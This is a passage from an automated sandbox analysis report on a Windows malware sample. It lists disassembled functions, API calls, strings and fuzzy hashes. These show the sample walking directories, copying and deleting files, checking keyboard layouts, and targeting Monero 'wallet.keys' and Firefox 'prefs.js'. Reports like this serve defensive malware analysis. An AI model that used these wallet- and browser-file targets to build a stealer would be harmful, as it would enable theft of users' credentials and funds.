FindClose.KERNEL32(000000FF), ref: 006846A0
lstrcat.KERNEL32(?,012BF510), ref: 006846C5
lstrcat.KERNEL32(?,012BDEC0), ref: 006846D8
lstrlen.KERNEL32(?), ref: 006846E5
lstrlen.KERNEL32(?), ref: 006846F6

Strings

%s\*, xrefs: 0068459A
%s\%s, xrefs: 0068461B

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 7c9dd13f25a554a0be8629f1d10c33b1283367cd06a7f78017392317ddaea005
Instruction ID: 4f77a71fa2d2aaa30dfb2ecc9003e53242b787d9dc107458767dcdbe264093e2
Opcode Fuzzy Hash: 7c9dd13f25a554a0be8629f1d10c33b1283367cd06a7f78017392317ddaea005
Instruction Fuzzy Hash: A25162B1900218ABCB64FB70DC89FED737DBB58300F404698F64996190EF749B848F96

Function 00683EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00683EC3
FindFirstFileA.KERNEL32(?,?), ref: 00683EDA
StrCmpCA.SHLWAPI(?,00690FAC), ref: 00683F08
StrCmpCA.SHLWAPI(?,00690FB0), ref: 00683F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0068406C
FindClose.KERNEL32(000000FF), ref: 00684081

Strings

%s\%s, xrefs: 00683EB7

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 89908bd9d061e5ca72f09aaaf64d8af7cc923873ed30bfc5957cb5e359f56316
Instruction ID: 83cb1f291076dc3aa367d1ce971ae94b721d23e91077d48d16564de53949fa19
Opcode Fuzzy Hash: 89908bd9d061e5ca72f09aaaf64d8af7cc923873ed30bfc5957cb5e359f56316
Instruction Fuzzy Hash: 6D5195B2900218AFCB28FBB0DC85EEA737DBB48300F40469DB65996140EB759B85CF95

Function 0067ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0067ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0067ED55
StrCmpCA.SHLWAPI(?,00691538), ref: 0067EDAB
StrCmpCA.SHLWAPI(?,0069153C), ref: 0067EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0067F2AE
FindClose.KERNEL32(000000FF), ref: 0067F2C3

Strings

%s\*.*, xrefs: 0067ED32

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b7e5e6ffe93a085bef3a83a8f932b4916106846756046fd0323476cb846b064e
Instruction ID: 11e40726a7979a1fdda9b45d52620b34bb6c37c7906ba308b16e52cfa648eeb8
Opcode Fuzzy Hash: b7e5e6ffe93a085bef3a83a8f932b4916106846756046fd0323476cb846b064e
Instruction Fuzzy Hash: D0E1B7B151111856FB94FB90DC51EEE733EAF54300F4042DEB90A66492EE346F8ACF66

Function 0067F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006915B8,00690D96), ref: 0067F71E
StrCmpCA.SHLWAPI(?,006915BC), ref: 0067F76F
StrCmpCA.SHLWAPI(?,006915C0), ref: 0067F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0067FAB1
FindClose.KERNEL32(000000FF), ref: 0067FAC3

Strings

prefs.js, xrefs: 0067F812

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: b50bad15d07e1e70b06abbbc572fe05a3459b43996da99fa310da21e3433817e
Instruction ID: 974a6d5d16d8706268da5fd2ed29ebcbf672cbe0b9594c768eb0b9b0fdc96d2c
Opcode Fuzzy Hash: b50bad15d07e1e70b06abbbc572fe05a3459b43996da99fa310da21e3433817e
Instruction Fuzzy Hash: DBB155719001149BEB64FFA0DC95EED737AAF54300F5086ADE80E96141EF346B49CF96

Function 006716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0069510C,?,?,?,006951B4,?,?,00000000,?,00000000), ref: 00671923
StrCmpCA.SHLWAPI(?,0069525C), ref: 00671973
StrCmpCA.SHLWAPI(?,00695304), ref: 00671989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00671D40
DeleteFileA.KERNEL32(00000000), ref: 00671DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00671E20
FindClose.KERNEL32(000000FF), ref: 00671E32

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Strings

\*.*, xrefs: 006717F1

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 4d90e04dc9201fe43eb66e185c1e300d40e93ee7392aa265ddab40879a6604b3
Instruction ID: ab60c229aa07edf59b1100fd39f2fea0c1d69c13714a547afd02b6dda51e611d
Opcode Fuzzy Hash: 4d90e04dc9201fe43eb66e185c1e300d40e93ee7392aa265ddab40879a6604b3
Instruction Fuzzy Hash: 291245719111189BEF59FBA0CC95AED737AAF14300F4042DEB90A66091EF346F49CFA5

Function 0067DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00690C2E), ref: 0067DE5E
StrCmpCA.SHLWAPI(?,006914C8), ref: 0067DEAE
StrCmpCA.SHLWAPI(?,006914CC), ref: 0067DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0067E3E0
FindClose.KERNEL32(000000FF), ref: 0067E3F2

Strings

\*.*, xrefs: 0067DE26

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 66329986afa3744ff0e9ecc61f1db56345c4991c6a669b41c6ba226e57b50a41
Instruction ID: f69acb40ac03b5193eeeb8ad0910f359970deb7dda2f3a21bfc3cec552075857
Opcode Fuzzy Hash: 66329986afa3744ff0e9ecc61f1db56345c4991c6a669b41c6ba226e57b50a41
Instruction Fuzzy Hash: B0F1A3714151189AEB59FBA0CC95EEE737ABF14300F5042DEA81A62091EF346F4ACF66

Function 0067DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006914B0,00690C2A), ref: 0067DAEB
StrCmpCA.SHLWAPI(?,006914B4), ref: 0067DB33
StrCmpCA.SHLWAPI(?,006914B8), ref: 0067DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0067DDCC
FindClose.KERNEL32(000000FF), ref: 0067DDDE

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 4014901a23937bbff88936eb5a86db616a893034f8de21a54460f9e288adab32
Instruction ID: 7d5b568c8c48f80a3b5f10412119dccb7129f180c8480b41588356b0e1287c4a
Opcode Fuzzy Hash: 4014901a23937bbff88936eb5a86db616a893034f8de21a54460f9e288adab32
Instruction Fuzzy Hash: D19127B69001049BDB54FBB4DC569ED737FAF84300F40875DFD0AA6141EE38AB498B96

Function 00687B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

GetKeyboardLayoutList.USER32(00000000,00000000,006905AF), ref: 00687BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00687BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00687C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00687C62
LocalFree.KERNEL32(00000000), ref: 00687D22

Strings

/ , xrefs: 00687C7F

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: c68035ae792acfa0a7de22baeff4d58f7d4677cebba94698ba720399e967b03d
Instruction ID: 00a978ff2d3538fb1040ff4c2b6b25bae292c07bde9506179e0ebd9fa2ea6b37
Opcode Fuzzy Hash: c68035ae792acfa0a7de22baeff4d58f7d4677cebba94698ba720399e967b03d
Instruction Fuzzy Hash: B2417E71901218AFDB24EB94DC99BEEB379FF44700F2042D9E40962290DB346F86CFA5

Function 00A40391 Relevance: 10.5, Strings: 7, Instructions: 1716COMMON

Download Yara Rule

Strings

9[, xrefs: 00A40F49
R7], xrefs: 00A410B5
#{|, xrefs: 00A413A8
vx;, xrefs: 00A40FF1
e={, xrefs: 00A4085B
wL[o, xrefs: 00A40B33
o, xrefs: 00A409B9

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: o$e={$vx;$wL[o$#{|$R7]$9[
API String ID: 0-3673019907
Opcode ID: 2112db96df16b97b2ade585b4999f6c8027f5ea9d2463703293413a8177371d6
Instruction ID: bf7b472cbdde5821d874292caba70ce96fbdcac76dafdda930d23ea8a5c15fa3
Opcode Fuzzy Hash: 2112db96df16b97b2ade585b4999f6c8027f5ea9d2463703293413a8177371d6
Instruction Fuzzy Hash: 43B26BF390C2049FD3046E2DEC8567AFBE9EF94720F1A863DEAC4D3744E63598058696

Function 00A455BF Relevance: 10.3, Strings: 7, Instructions: 1586COMMON

Download Yara Rule

Strings

`H8Q, xrefs: 00A45C21
q~~;, xrefs: 00A465B0
-lo, xrefs: 00A4634A
y}, xrefs: 00A457D6
t;a+, xrefs: 00A45CD6
rv~, xrefs: 00A45CEE
%?f, xrefs: 00A46078

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -lo$`H8Q$q~~;$rv~$t;a+$y}$%?f
API String ID: 0-2045357309
Opcode ID: 3e7f0b8175b9a07caecc3f242503b28f1d34376b235fdf6f83b4845224b396aa
Instruction ID: d4606ee8e6953110eed858b6ba7e0eceef48f42a78cffc78757cd11ff951e3ff
Opcode Fuzzy Hash: 3e7f0b8175b9a07caecc3f242503b28f1d34376b235fdf6f83b4845224b396aa
Instruction Fuzzy Hash: C0B2E6F360C204AFE704AE2DEC8567ABBE5EF94720F16493DEAC4C3744EA3558058697

Function 00A42033 Relevance: 10.3, Strings: 7, Instructions: 1580COMMON

Download Yara Rule

Strings

B@H@, xrefs: 00A42C5C
:hOJ, xrefs: 00A42E6F
7, xrefs: 00A42B87
qq9z, xrefs: 00A4289B
*le, xrefs: 00A42067
Eq\, xrefs: 00A43171
Jz_, xrefs: 00A4293A

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

